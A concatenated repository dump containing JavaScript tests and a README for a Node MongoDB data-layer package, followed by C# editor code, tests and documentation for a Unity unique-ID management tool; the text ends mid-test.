[1,3,5], sub_a2: 7}, field_b:2}, {$objectify: ["field_a.sub_a1", "field_a.sub_a2"] }, cb_mock ); assert.deepEqual(last_collection.calls.count.map(function(call){ return call[0]; }), [ { field_a: 'objectified:1', field_b: 2, }, { field_a: 'objectified:1', field_b: 2, }, { field_a: 'objectified:1', field_b: 'objectified:2', }, { field_a: 1, field_b: 2, }, { field_a: 'objectified:1', field_b: 2, }, { field_a: ["objectified:1","objectified:3","objectified:5"], field_b: 2, }, { field_a: { sub_a1: ["objectified:1","objectified:3","objectified:5"], sub_a2:"objectified:7"}, field_b: 2, }, ]); next(); }); }); it("$objectifies option in layer.delete method", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); id_counter = 0; var results = []; var cb_mock = function(err, result){ results.push([err, result]); }; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ layer.delete({field_a: 1, field_b:2}, {$objectify: "field_a" }, cb_mock ); layer.delete({field_a: 1, field_b:2}, {$objectify:[ "field_a"] }, cb_mock ); layer.delete({field_a: 1, field_b:2}, {$objectify:[ "field_a", "field_b" ] }, cb_mock ); layer.delete({field_a: 1, field_b:2}, {$objectify: "field_c" }, cb_mock ); layer.delete({field_a: 1, field_b:2}, {$objectify:[ "field_a", "field_c" ] }, cb_mock ); layer.delete({field_a: [1,3,5], field_b:2}, {$objectify: "field_a" }, cb_mock ); layer.delete({field_a: {sub_a1: [1,3,5], sub_a2: 7}, field_b:2}, {$objectify: ["field_a.sub_a1", "field_a.sub_a2"] }, cb_mock ); assert.deepEqual(last_collection.calls.remove.map(function(call){ return call[0]; }), [ { field_a: 'objectified:1', field_b: 2, }, { field_a: 'objectified:1', field_b: 2, }, { field_a: 'objectified:1', field_b: 'objectified:2', }, { field_a: 1, field_b: 2, }, { field_a: 'objectified:1', field_b: 2, }, { field_a: ["objectified:1","objectified:3","objectified:5"], field_b: 2, }, { field_a: { sub_a1: ["objectified:1","objectified:3","objectified:5"], sub_a2:"objectified:7"}, field_b: 2, }, ]); next(); }); }); it("$objectifies option in layer.save method", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); id_counter = 0; var results = []; var cb_mock = function(err, result){ results.push([err, result]); }; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ layer.save({field_a: 1, field_b:2}, {$objectify: "field_a" }, cb_mock ); layer.save({field_a: 1, field_b:2}, {$objectify:[ "field_a"] }, cb_mock ); layer.save({field_a: 1, field_b:2}, {$objectify:[ "field_a", "field_b" ] }, cb_mock ); layer.save({field_a: 1, field_b:2}, {$objectify: "field_c" }, cb_mock ); layer.save({field_a: 1, field_b:2}, {$objectify:[ "field_a", "field_c" ] }, cb_mock ); layer.save({field_a: [1,3,5], field_b:2}, {$objectify: "field_a" }, cb_mock ); layer.save({field_a: {sub_a1: [1,3,5], sub_a2: 7}, field_b:2}, {$objectify: ["field_a.sub_a1", "field_a.sub_a2"] }, cb_mock ); assert.deepEqual(last_collection.calls.save.map(function(call){ return call[0]; }), [ { field_a: 'objectified:1', field_b: 2, _id: 0 }, { field_a: 'objectified:1', field_b: 2, _id: 1 }, { field_a: 'objectified:1', field_b: 'objectified:2', _id: 2 }, { field_a: 1, field_b: 2, _id: 3 }, { field_a: 'objectified:1', field_b: 2, _id: 4 }, { field_a: ["objectified:1","objectified:3","objectified:5"], field_b: 2, _id: 5 }, { field_a: { sub_a1: ["objectified:1","objectified:3","objectified:5"], sub_a2:"objectified:7"}, field_b: 2, _id: 6 }, ]); next(); }); }); it("$objectifies option in layer.update method", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); id_counter = 0; var results = []; var cb_mock = function(err, result){ results.push([err, result]); }; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ layer.update({field_a: 1, field_b:2, $objectify: "field_a" }, {}, cb_mock ); layer.update({field_a: 1, field_b:2, $objectify:[ "field_a"]}, {$set: {field_b: 33 }, $objectify: "$set.field_b"}, cb_mock ); layer.update({field_a: 1, field_b: {sub_b: [11,12,13]}, $objectify:[ "field_a", "field_b.sub_b"]}, {$set: {field_b: [33, 44, 55] }, $objectify: "$set.field_b"}, cb_mock ); assert.deepEqual(last_collection.calls.update.map(function(call){ return call.slice(0,2); }), [ [{ field_a: 'objectified:1', field_b: 2, }, {}], [{ field_a: 'objectified:1', field_b: 2, }, {$set: {field_b: "objectified:33" } }], [{ field_a: 'objectified:1', field_b: {sub_b: ["objectified:11","objectified:12","objectified:13"]}, }, {$set: {field_b: ["objectified:33", "objectified:44", "objectified:55"] } }], ]); next(); }); }); }); }); <file_sep>/README.md Installation ============ npm install infrastructure-mongodb Configuration ============= In project_root/config/structures create data.json file (or give other structure name) with the following content: { "path": "data", "engine": "infrastructure-mongodb/engine", "config": { "mongodb": { "host": "localhost", "port": 27017, "db": "orbits", "auto_reconnect": true, "options": { "nativeParser": true } } } } - "path" is folder where your structure modules are located (based on rootDir) - "engine" - add path to module that will load mongodb to engines array - "libs" - adding base mongolayer, base mongolayer class will be accessible via env.lib.MongoLayer - "config" - the engine will search for config.mongodb object when trying to connect to database. congig.mongodb.options will be passed directly to mongodb.MongoClient.connect. Read more about options here http://mongodb.github.io/node-mongodb-native/api-generated/mongoclient.html Usage ===== In structure folder path create file of type (named for example MyMongoResource.js): var MongoLayer = require("infrastructure-mongodb/MongoLayer"); module.exports = MongoLayer.extend("MyMongoResource", { init: function(cb){ /* async initialization (optional) - run cb([err]) when done*/ }, collectionName: "MongodbCollectionName", // mongodb collection name for this resource someSpecificQuery: function(param_1, options, cb){ // this is mongodb collection instance that represents current resource var collection = this.collection; // read more about it here - http://mongodb.github.io/node-mongodb-native/2.0/api/Collection.html // The DataLayer instance provides: // this.create(doc, cb); // this.create([doc1, doc2], cb); // this.find(query, options, cb); // this.findOne(query, options, cb); // this.count(query, options, cb); // this.update(query, update, options, cb); // this.delete(query, options, cb); } }); Once structure is initialized, datalayer can be called from any other local or remote structure using dot notation env.i.do("data.MyMongoResource.find", some_query, some_options, cb); // or env.i.do("data.MyMongoResource.someSpecificQuery", some_query, some_options, cb); "objectify" option ================== In most cases, mongodb ObjectId-s in queries and documents will come as strings. In options object in CRUD methods we can put {$objectify: "path_to_patch"} or {$objectify: ["path_to_patch_1", "path_to_patch_2"]} env.i.do("data.MyMongoResource.find", { _id: '562ab133c7b795974496fd16' }, {$objectify: "_id" }, function(err, result){ // ... }); env.i.do("data.BlogComments.find", { author: {$in: ['5<PASSWORD>16', '<PASSWORD>', '5<PASSWORD>8']} }, { $objectify: "author.$in" }, function(err, result){ // ... }); Only when calling "update" we have 2 possible arguments to patch, so "$objectify" option should be mounted on the query or on the update object, not in options. env.i.do("data.BlogComments.update", { post_id: {$in: ['562ab133c7b795974496fd26', '562ab133c7b795974496fd27', '562ab133c7b795974496fd28']}, $objectify: "post_id.$in" }, { $set: {approved_by: '5<PASSWORD>c7b795974496fd06' }, $objectify: "$set.approved_by" }, {}, // Other options function(err, result){ // ... }); TODO ==== - patterns to objectify object properties in nested array Added (0.2.2) ======== Note - the cli options will only work with infrastructure version ^1.1.0 --drop or --drop.ModelName command line options This will cause layer instance to use it's "seed" property. It can be string (url, fs path, related to project root or dot notated config resolve path). It can be array or single object, and will be seeded directly. It can be function that returns array or object. --seed or --seed.ModelName This will set seed option to string (url, fs path, related to project root or dot notated config resolve path); --seed.ModelName=http:eample.com/resource --seed.ModelName=./seeds/ModelsData.json --seed.ModelName=seeds.ModelsData The last will be resolved from config tree. It can point to object, array or string that will be proceeded too. It also can point to function (DataLayer instance seed property to be function). function seed(cb){ // do something async cb(err, [ /* models here */ ]); } Added (0.4) =========== - $dateify option (same as $objectify, but makes dates) - MongoModel - require("infrastructure-mongodb/MongoModel") - MongoCollection - require("infrastructure-mongodb/MongoCollection")
9f891601080924f514ea0fe3ca048fbe8be33406
[ "JavaScript", "Markdown" ]
5
JavaScript
shstefanov/infrastructure-server-datalayer-mongodb
bb7b06211b56e80477e652ca1bf08b15eb55fb13
83d508a925fe87d664087e5e12d1914c69d67155
refs/heads/develop
<file_sep>using UnityEditor; using UnityEngine; namespace CleverCrow.Fluid.UniqueIds.UniqueIdRepairs { public class UniqueIdRepairWindow : EditorWindow { private PageWindow _window; [MenuItem("Window/Fluid/Unique ID Repair")] public static UniqueIdRepairWindow ShowWindow () { var window = GetWindow<UniqueIdRepairWindow>(); window.titleContent = new GUIContent("Unique ID Repair"); return window; } private void OnEnable () { var root = rootVisualElement; _window = new PageWindow(root); } public void Search (string path) { _window.Search(path); } } } <file_sep>![Fluid Unique ID](images/banner.png) # Fluid Unique ID Unique ID management for Unity3D projects. A customizable micro-framework for managing consistent unique IDs across multiple scenes on your GameObjects. Built with large projects in mind and tools to prevent ID conflicts. * Works with prefabs * Visual repair tool included * No coding required * Easily extendable * Heavily tested with TDD and unit tests **Support** Join the [Discord Community](https://discord.gg/8QHFfzn) if you have questions or need help. ## Quickstart To get started [install](#installation) the package and update it to the latest version. After that simply open a scene and attach the UniqueId component to your desired GameObject. These components are automatically prefab friendly with no extra overhead. ![UniqueId Component](images/unique-id-component.png) But what if you duplicate this object with the unique ID? It would no longer be unique and things might go haywire when users play. We'll talk about how to fix that in your game next. ### Repair Window Fluid Unique ID includes a repair window that will scan all of your scene's GameObjects for errors like duplication or `null` values. You can find the repair window in your menu bar at `Window -> Fluid -> Unique ID Repair`. ![Repair Window](images/repair%20window.png) Please note when clicking search that the repair window uses your current **Project Window** selection. Also it is recommended to not edit scenes until you've addressed all repair window errors. As search takes a snapshot of all scenes and can't detect if you're changing the scene without another search. ### Examples Clone this project down and see the examples folder to take things for a spin with live code samples. ## Guides ### How To Check For Unique IDs Before Building The best way to make sure your project doesn't have Unique ID errors before building is to write a simple test. We'll use Unity's internal testing framework with a Unique ID report search. Please note this must be placed in an `Editor` folder to work. ```c# public class ExampleVerifyIdTest { [Test] public void It_should_not_have_invalid_IDs_in_the_project () { var reporter = new UniqueIdReporter("Assets/Examples"); var report = reporter.GetReport(); Assert.AreEqual(0, report.ErrorCount); } } ``` Note that you can have build systems like Unity Cloud Build or custom build pipelines run tests automatically. This way you never accidentally check in a broken ID. ### How To Populate Runtime Instances If you need an ID for runtime instance from a prefab you can call the `UniqueId.PopulateIdIfEmpty()` method since prefabs automatically wipe their ID. This method is recommended to prevent accidentally rewriting a Unique ID. ```c# var id = GameObject.Instantiate(myPrefab).GetComponent(UniqueId); id.PopulateIdIfEmpty(); ``` If you are spawning instances off of a pre-existing instance with an ID. You can scramble it with the following pattern. Note this is potentially destructive so be careful. ```c# var id = GameObject.Instantiate(myPrefab).GetComponent(UniqueId); id.ScrambleId(); ``` ## Installation Fluid Unique ID is used through [Unity's Package Manager](https://docs.unity3d.com/Manual/CustomPackages.html). In order to use it you'll need to add the following lines to your `Packages/manifest.json` file. After that you'll be able to visually control what specific version of Fluid Unique ID you're using from the package manager window in Unity. This has to be done so your Unity editor can connect to NPM's package registry. ```json { "scopedRegistries": [ { "name": "NPM", "url": "https://registry.npmjs.org", "scopes": [ "com.fluid" ] } ], "dependencies": { "com.fluid.unique-id": "1.0.1" } } ``` ## Releases Archives of specific versions and release notes are available on the [releases page](https://github.com/ashblue/fluid-unique-id/releases). ## Nightly Builds To access nightly builds of the `develop` branch that are package manager friendly, you'll need to manually edit your `Packages/manifest.json` as so. ```json { "dependencies": { "com.fluid.unique-id": "https://github.com/ashblue/fluid-unique-id.git#nightly" } } ``` Note that to get a newer nightly build you must delete this line and any related lock data in the manifest, let Unity rebuild, then add it back. As Unity locks the commit hash for Git urls as packages. ## Development Environment If you wish to run to run the development environment you'll need to install the latest [node.js](https://nodejs.org/en/). Then run the following from the root once. `npm install` If you wish to create a build run `npm run build` from the root and it will populate the `dist` folder. ### Making Commits All commits should be made using [Commitizen](https://github.com/commitizen/cz-cli) (which is automatically installed when running `npm install`). Commits are automatically compiled to version numbers on release so this is very important. PRs that don't have Commitizen based commits will be rejected. To make a commit type the following into a terminal from the root ```bash npm run commit ``` --- This project was generated with [Oyster Package Generator](https://github.com/ashblue/oyster-package-generator). <file_sep>## [1.0.1](https://github.com/ashblue/fluid-unique-id/compare/v1.0.0...v1.0.1) (2020-03-23) ### Bug Fixes * packages no longer crash on import ([b98ece9](https://github.com/ashblue/fluid-unique-id/commit/b98ece987594ad8f88164bffcaa4c1f0dd8cb4e0)) # 1.0.0 (2020-03-22) ### Bug Fixes * removed empty assembly folder warning ([072bb2a](https://github.com/ashblue/fluid-unique-id/commit/072bb2a29757a5a2e6b4b09f9a55ae2561471160)) * various package import crash fixes ([223c97f](https://github.com/ashblue/fluid-unique-id/commit/223c97f33035f073fdb1327abe91f0637b1ea3a2)) * **reports:** unique ID fixes now handle null ([ed3afd0](https://github.com/ashblue/fluid-unique-id/commit/ed3afd0a5140132b902517be2b312c6759005b70)) ### Features * **repair window:** now prints search results ([8ca561a](https://github.com/ashblue/fluid-unique-id/commit/8ca561a51cf8315892c3aeedd88dffaeb50139fd)) * **repairs:** added ability to repair a scene ID ([d5a0376](https://github.com/ashblue/fluid-unique-id/commit/d5a0376acef09ee20763a8b0ff8a24078ec99427)) * **repairs:** added show button to display erroring id ([012dc93](https://github.com/ashblue/fluid-unique-id/commit/012dc93620bc1170049694a5c1e8c1bfa9989cca)) * **reports:** new report generator ([bd85fc2](https://github.com/ashblue/fluid-unique-id/commit/bd85fc2a57c4e32492426987031fdfc6c8d98268)) * **reports:** report generation for a single scene ([0d3d01a](https://github.com/ashblue/fluid-unique-id/commit/0d3d01a84f4ae114c8dbdf3d1ad59791b5a66f44)) * initial commit ([1cb0bfe](https://github.com/ashblue/fluid-unique-id/commit/1cb0bfecae7175e8e7717a7b3bd04ad7639d4c9a)) <file_sep>using System; using UnityEditor; using UnityEngine.UIElements; namespace CleverCrow.Fluid.UniqueIds.UniqueIdRepairs { public abstract class ComponentBase { private readonly string _path; protected readonly VisualElement _container; protected ComponentBase (VisualElement container) { _container = container; if (_path == null) { var path = new System.Diagnostics.StackTrace(true) .GetFrame(1) .GetFileName() ?.Replace("\\", "/"); if (path.Contains("/PackageCache/")) { var parts = path.Split(new string[] { "/Editor/" }, StringSplitOptions.None); _path = $"{AssetPath.BasePath}com.fluid.unique-id/Editor/{parts[1]}" .Replace(".cs", ".uxml"); } else { var strings = path.Split(new string[] { "/Assets/" }, StringSplitOptions.None); _path = $"{AssetPath.BasePath}/{strings[1]}" .Replace(".cs", ".uxml"); } } var markup = AssetDatabase.LoadAssetAtPath<VisualTreeAsset>(_path); markup.CloneTree(container); } } } <file_sep>using System; using UnityEngine.UIElements; namespace CleverCrow.Fluid.UniqueIds.UniqueIdRepairs { public class Button : ComponentBase { public Button (VisualElement container, string text, Action callback) : base(container) { var el = container.Query<UnityEngine.UIElements.Button>(null, "a-button").First(); el.text = text; el.clicked += callback; } } } <file_sep>using System.Collections.Generic; using System.Linq; using UnityEditor; using UnityEditor.SceneManagement; using UnityEngine; using UnityEngine.SceneManagement; namespace CleverCrow.Fluid.UniqueIds { public class UniqueIdReporter { private readonly string[] _pathScenes; public UniqueIdReporter (string path) { _pathScenes = AssetDatabase .FindAssets("t:scene", new[] {path}) .Select(AssetDatabase.GUIDToAssetPath) .ToArray(); } public UniqueIdReporter (IEnumerable<SceneAsset> sceneAssets) { _pathScenes = sceneAssets .Select(AssetDatabase.GetAssetPath) .ToArray(); } public IdReport GetReport () { var idCounter = new Dictionary<string, int>(); var sceneIds = new Dictionary<string, List<ReportId>>(); foreach (var scene in _pathScenes) { if (SceneManager.GetActiveScene().path != scene) { EditorSceneManager.OpenScene(scene, OpenSceneMode.Single); } var idReports = new List<ReportId>(); var ids = Object.FindObjectsOfType<UniqueId>().ToList(); ids.ForEach(id => { var key = id.Id ?? "null"; if (!idCounter.ContainsKey(key)) idCounter[key] = 0; idCounter[key] += 1; idReports.Add(new ReportId(id)); }); sceneIds[scene] = idReports; } var errorCount = 0; var scenes = new List<ReportScene>(); foreach (var scene in _pathScenes) { var errors = sceneIds[scene] .Where(id => { var isError = id.Id == null || idCounter[id.Id] > 1; if (isError) errorCount += 1; return isError; }) .ToList(); scenes.Add(new ReportScene(scene, errors)); } return new IdReport(errorCount, idCounter, scenes); } } public class IdReport { public List<ReportScene> Scenes { get; } public int ErrorCount { get; } public Dictionary<string, int> DuplicateIDs { get; } public IdReport (int errorCount, Dictionary<string, int> duplicateIDs, List<ReportScene> scenes) { ErrorCount = errorCount; DuplicateIDs = duplicateIDs; Scenes = scenes; } } public class ReportScene { public List<ReportId> Errors { get; } public string Path { get; } public ReportScene (string path, List<ReportId> errors) { Path = path; Errors = errors; } } public class ReportId { public string Id { get; } public string Name { get; } public string Path { get; } public ReportId (UniqueId id) { Id = id.Id; Name = id.name; Path = GetPath(id.gameObject); } public static string GetPath (GameObject id) { var pathTarget = id.transform; var path = $"{pathTarget.name}"; while (pathTarget.parent != null) { pathTarget = pathTarget.parent; path = $"{pathTarget.name}/{path}"; } return path; } } } <file_sep>using System.Linq; using System.Reflection; using CleverCrow.Fluid.UniqueIds.UniqueIdRepairs; using NUnit.Framework; using UnityEditor; using UnityEngine; using UnityEngine.UIElements; using Button = UnityEngine.UIElements.Button; namespace CleverCrow.Fluid.UniqueIds { public class UniqueIdRepairWindowTest { private SceneGenerator _generator; private void Setup (int sameIdCount, int sceneCount = 1, int nullIdCount = 0) { _generator = new SceneGenerator(sameIdCount, sceneCount, nullIdCount); } [TearDown] public void Teardown () { _generator.Teardown(); } private static void ClickButton (VisualElement root, string className) { var elView = GetElement<Button>(root, className); var viewClick = elView.clickable; var viewInvoke = viewClick .GetType() .GetMethod( "Invoke", BindingFlags.NonPublic | BindingFlags.Instance ); viewInvoke.Invoke(viewClick, new object[] {MouseDownEvent.GetPooled()}); } private static string GetText (VisualElement root, string className) { return root .Query<TextElement>(null, className) .First() .text; } private static T GetElement<T> (VisualElement root, string className) where T : VisualElement { var el = root .Query<T>(null, className) .First(); Debug.Assert(el != null, $"Element {className} not found"); return el; } public class WhenClickingSearch { public class ByDefault : UniqueIdRepairWindowTest { private VisualElement _root; private void SetupMethod (int sameIdCount) { Setup(sameIdCount); var window = UniqueIdRepairWindow.ShowWindow(); window.Search(_generator.Path); _root = window.rootVisualElement; } [Test] public void It_should_display_a_searched_scene_path () { SetupMethod(2); var title = GetText(_root, "o-scene-search__title"); Assert.AreEqual(_generator.ScenePaths[0], title); } [Test] public void It_should_print_the_number_of_searched_scenes () { SetupMethod(1); var message = GetText(_root, "p-window__message"); Assert.IsTrue(message.Contains("1")); } [Test] public void It_should_print_a_message_when_no_errors_are_found () { SetupMethod(1); var elText = GetElement<TextElement>(_root, "test-p-window__no-errors"); Assert.IsTrue(elText.ClassListContains("-show")); } [Test] public void It_should_display_the_transform_path_to_the_error_object () { SetupMethod(2); ClickButton(_root, "m-unique-id-error__show"); var elName = GetElement<TextElement>(_root, "m-unique-id-error__name"); var expectedPath = ReportId.GetPath(Selection.activeObject as GameObject); Assert.AreEqual(expectedPath, elName.text); } } public class WhenClearingResults : UniqueIdRepairWindowTest { [Test] public void It_should_not_print_no_found_error_message_by_default () { Setup(1); var window = UniqueIdRepairWindow.ShowWindow(); window.Close(); window = UniqueIdRepairWindow.ShowWindow(); var root = window.rootVisualElement; var elText = GetElement<TextElement>(root, "test-p-window__no-errors"); Assert.IsFalse(elText.ClassListContains("-show")); } [Test] public void It_should_clear_results_when_clicking_again () { Setup(2); var window = UniqueIdRepairWindow.ShowWindow(); window.Search(_generator.Path); window.Search(_generator.Path); var root = window.rootVisualElement; var el = GetElement<VisualElement>(root, "o-scene-search__results"); Assert.AreEqual(2, el.Children().Count()); } } } public class ClickingShow : UniqueIdRepairWindowTest { [Test] public void It_should_set_the_current_selection_to_the_GameObject () { Setup(2); var window = UniqueIdRepairWindow.ShowWindow(); window.Search(_generator.Path); var root = window.rootVisualElement; ClickButton(root, "m-unique-id-error__show"); var id = GetText(root, "m-unique-id-error__text"); Assert.AreEqual(id, (Selection.activeObject as GameObject).GetComponent<UniqueId>().Id); } } public class ClickingFix : UniqueIdRepairWindowTest { private VisualElement _root; private UniqueIdRepairWindow _window; private void MethodSetup (int sameIdCount) { Setup(sameIdCount); _window = UniqueIdRepairWindow.ShowWindow(); _window.Search(_generator.Path); _root = _window.rootVisualElement; } [Test] public void It_should_fix_a_duplicate_id () { MethodSetup(2); var corruptId = GetText(_root, "m-unique-id-error__text"); ClickButton(_root, "m-unique-id-error__show"); ClickButton(_root, "m-unique-id-error__fix"); var uniqueId = (Selection.activeObject as GameObject).GetComponent<UniqueId>(); Assert.AreNotEqual(corruptId, uniqueId.Id); } [Test] public void It_should_update_the_display_id () { MethodSetup(2); var corruptId = GetText(_root, "m-unique-id-error__text"); ClickButton(_root, "m-unique-id-error__fix"); var newId = GetText(_root, "m-unique-id-error__text"); Assert.AreNotEqual(corruptId, newId); } [Test] public void It_should_mark_the_line_as_fixed () { MethodSetup(2); ClickButton(_root, "m-unique-id-error__fix"); var elError = GetElement<VisualElement>(_root, "m-unique-id-error"); Assert.IsTrue(elError.ClassListContains("-fixed")); } [Test] public void It_should_mark_the_sibling_line_as_fixed () { MethodSetup(2); ClickButton(_root, "m-unique-id-error__fix"); var elError = _root.Query<VisualElement>(null, "m-unique-id-error").Last(); Assert.IsTrue(elError.ClassListContains("-fixed")); } [Test] public void It_should_not_mark_a_duplicate_ID_as_fixed_if_there_is_two_or_more_unfixed_lines () { MethodSetup(3); ClickButton(_root, "m-unique-id-error__fix"); var elError = _root.Query<VisualElement>(null, "m-unique-id-error").Last(); Assert.IsFalse(elError.ClassListContains("-fixed")); } } public class ClickingFixOnNullId : UniqueIdRepairWindowTest { private VisualElement _root; private UniqueIdRepairWindow _window; private void MethodSetup (int nullIdCount) { Setup(0, 1, nullIdCount); _window = UniqueIdRepairWindow.ShowWindow(); _window.Search(_generator.Path); _root = _window.rootVisualElement; } [Test] public void It_should_print_null_as_the_id () { MethodSetup(1); var text = GetElement<TextElement>(_root, "m-unique-id-error__text").text; Assert.IsTrue(text.Contains("null")); } [Test] public void It_should_show_when_clicked () { MethodSetup(1); ClickButton(_root, "m-unique-id-error__show"); var uniqueId = (Selection.activeObject as GameObject).GetComponent<UniqueId>(); Assert.IsNotNull(uniqueId.Id); } [Test] public void It_should_fix_a_null_id () { MethodSetup(1); ClickButton(_root, "m-unique-id-error__show"); ClickButton(_root, "m-unique-id-error__fix"); var uniqueId = (Selection.activeObject as GameObject).GetComponent<UniqueId>(); Assert.IsFalse(string.IsNullOrEmpty(uniqueId.Id)); } [Test] public void It_should_not_set_sibling_id_to_fixed_when_clicking_an_id () { MethodSetup(2); ClickButton(_root, "m-unique-id-error__show"); ClickButton(_root, "m-unique-id-error__fix"); var elError = _root.Query<VisualElement>(null, "m-unique-id-error").Last(); Assert.IsFalse(elError.ClassListContains("-fixed")); } } } } <file_sep>using System; using UnityEditor; using UnityEditor.Experimental.SceneManagement; using UnityEngine; namespace CleverCrow.Fluid.UniqueIds { [CustomEditor(typeof(UniqueId), true)] public class UniqueIdEditor : Editor { bool IsPrefabInstance => PrefabUtility.GetPrefabInstanceStatus(target) != PrefabInstanceStatus.NotAPrefab; private bool IsPrefabStage => PrefabStageUtility.GetCurrentPrefabStage() != null; bool IsPrefab => PrefabUtility.GetPrefabAssetType(target) != PrefabAssetType.NotAPrefab && !IsPrefabInstance || IsPrefabStage; public override void OnInspectorGUI () { base.OnInspectorGUI(); var idProp = serializedObject.FindProperty("_id"); var id = idProp.stringValue; GUI.enabled = false; EditorGUILayout.TextField("id", id); GUI.enabled = true; if (!IsPrefab) { EditForm(idProp); } if (IsPrefab) { if (!string.IsNullOrEmpty(id)) { idProp.stringValue = null; serializedObject.ApplyModifiedProperties(); } } } private void EditForm (SerializedProperty idProp) { if (string.IsNullOrEmpty(idProp.stringValue)) { idProp.stringValue = GetGUID(); serializedObject.ApplyModifiedProperties(); } if (GUILayout.Button("Copy ID")) { var textEditor = new TextEditor {text = idProp.stringValue}; textEditor.SelectAll(); textEditor.Copy(); } if (GUILayout.Button("Randomize ID") && EditorUtility.DisplayDialog("Randomize ID", "Are you sure, this can break existing save data", "Randomize", "Cancel")) { idProp.stringValue = GetGUID(); serializedObject.ApplyModifiedProperties(); } } private static string GetGUID () { return Guid.NewGuid().ToString(); } } } <file_sep>using System.Collections.Generic; using System.Linq; using UnityEditor; using UnityEditor.SceneManagement; using UnityEngine.SceneManagement; using UnityEngine.UIElements; namespace CleverCrow.Fluid.UniqueIds.UniqueIdRepairs { public class PageWindow : ComponentBase { private readonly List<Button> _buttons = new List<Button>(); private readonly VisualElement _elSearchResults; private readonly List<SceneSearch> _searchedScenes = new List<SceneSearch>(); private readonly TextElement _elSearchText; public PageWindow (VisualElement container) : base(container) { _elSearchResults = container.Query<VisualElement>("search-results").First(); _elSearchText = container.Query<TextElement>("search-text").First(); var buttons = container.Query<VisualElement>("buttons").First(); _buttons.Add(new Button(buttons, "Search", Search)); } public void Search (string path) { var results = AssetDatabase .FindAssets("t:scene", new[] {path}) .Select(guid => { var fullPath = AssetDatabase.GUIDToAssetPath(guid); return AssetDatabase.LoadAssetAtPath<SceneAsset>(fullPath); }) .ToList(); SearchScenes(results); } private void Search () { if (!ConfirmSceneChange()) { return; } SearchScenes(GetScenes()); } private void SearchScenes (List<SceneAsset> sceneAssets) { var startScenePath = SceneManager.GetActiveScene().path; ClearSearchResults(); var search = new UniqueIdReporter(sceneAssets); var report = search.GetReport(); var duplicateIDs = report.DuplicateIDs; report.Scenes.ForEach((scene) => { if (scene.Errors.Count == 0) return; void onFixId (ReportId error) { if (error.Id == null) return; duplicateIDs[error.Id] -= 1; if (duplicateIDs[error.Id] > 1) return; _searchedScenes.ForEach((s) => s.HideId(error.Id)); } var sceneSearch = new SceneSearch(_elSearchResults, scene, onFixId); _searchedScenes.Add(sceneSearch); }); _elSearchText.text = $"Searched {report.Scenes.Count} scenes"; if (report.ErrorCount == 0) { var elNoErrors = _container.Query<VisualElement>(null, "p-window__no-errors").First(); elNoErrors.AddToClassList("-show"); } EditorSceneManager.OpenScene(startScenePath, OpenSceneMode.Single); } private void ClearSearchResults () { _searchedScenes.Clear(); foreach (var child in _elSearchResults.Children().ToList()) { _elSearchResults.Remove(child); } } private List<SceneAsset> GetScenes () { var targets = Selection.GetFiltered(typeof(SceneAsset), SelectionMode.DeepAssets); return targets.Cast<SceneAsset>().ToList(); } private bool ConfirmSceneChange () { return EditorSceneManager.SaveCurrentModifiedScenesIfUserWantsTo(); } } } <file_sep>using System; using System.Linq; using UnityEditor; using UnityEditor.SceneManagement; using UnityEngine; using UnityEngine.SceneManagement; using UnityEngine.UIElements; using Object = UnityEngine.Object; namespace CleverCrow.Fluid.UniqueIds.UniqueIdRepairs { public class UniqueIdError : ComponentBase { private readonly ReportId _report; private readonly Action<ReportId> _onFixId; private readonly VisualElement _root; private readonly ReportScene _scene; private readonly TextElement _elId; public string Id { get; } public UniqueIdError ( VisualElement container, ReportScene scene, ReportId report, Action<ReportId> onFixId) : base(container) { _report = report; _onFixId = onFixId; _scene = scene; Id = _report.Id; _root = container.Query<VisualElement>(null, "m-unique-id-error").Last(); _elId = container.Query<TextElement>(null, "m-unique-id-error__text").Last(); var printText = string.IsNullOrEmpty(_report.Id) ? "null" : _report.Id; _elId.text = printText; var elName = container.Query<TextElement>(null, "m-unique-id-error__name").Last(); elName.text = _report.Path; container .Query<UnityEngine.UIElements.Button>(null, "m-unique-id-error__fix") .Last() .clicked += FixId; container .Query<UnityEngine.UIElements.Button>(null, "m-unique-id-error__show") .Last() .clicked += ShowId; } private void ShowId () { if (!ShowScene()) return; var result = FindId(); Selection.activeObject = result.gameObject; } private void FixId () { if (!ShowScene()) return; var result = FindId(); var obj = new SerializedObject(result); var idProp = obj.FindProperty("_id"); idProp.stringValue = Guid.NewGuid().ToString(); obj.ApplyModifiedProperties(); EditorSceneManager.SaveOpenScenes(); MarkFixed(); _onFixId.Invoke(_report); _elId.text = idProp.stringValue; } private UniqueId FindId () { var result = Object .FindObjectsOfType<UniqueId>() .ToList() .Find(uniqueId => { var path = ReportId.GetPath(uniqueId.gameObject); return path == _report.Path; }); Debug.Assert(result != null, "Failed to find UniqueId GameObject"); return result; } private bool ShowScene () { var prevScene = SceneManager.GetActiveScene(); if (_scene.Path != prevScene.path && !ConfirmSceneChange()) return false; if (_scene.Path != prevScene.path) { EditorSceneManager.OpenScene(_scene.Path, OpenSceneMode.Single); } return true; } private bool ConfirmSceneChange () { return EditorSceneManager.SaveCurrentModifiedScenesIfUserWantsTo(); } public void MarkFixed () { _root.AddToClassList("-fixed"); } } } <file_sep>using NUnit.Framework; using UnityEngine; namespace CleverCrow.Fluid.UniqueIds { public class UniqueIdReportTest { public class GetReportMethod { private UniqueIdReporter _report; private string _id; private string _scenePath; private SceneGenerator _generator; private void Setup (int sameIdCount, int sceneCount = 1) { _generator = new SceneGenerator(sameIdCount, sceneCount); _scenePath = _generator.ScenePaths[0]; _id = _generator.Id; _report = new UniqueIdReporter(_generator.Path); } [TearDown] public void Teardown () { _generator.Teardown(); } public class SingleDuplicate : GetReportMethod { [SetUp] public void SetupMethod () { Setup(1); } [Test] public void It_should_not_error_on_a_single_id () { var result = _report.GetReport(); Assert.AreEqual(result.Scenes[0].Errors.Count, 0); } [Test] public void It_should_return_no_errors_when_there_are_none () { var result = _report.GetReport(); 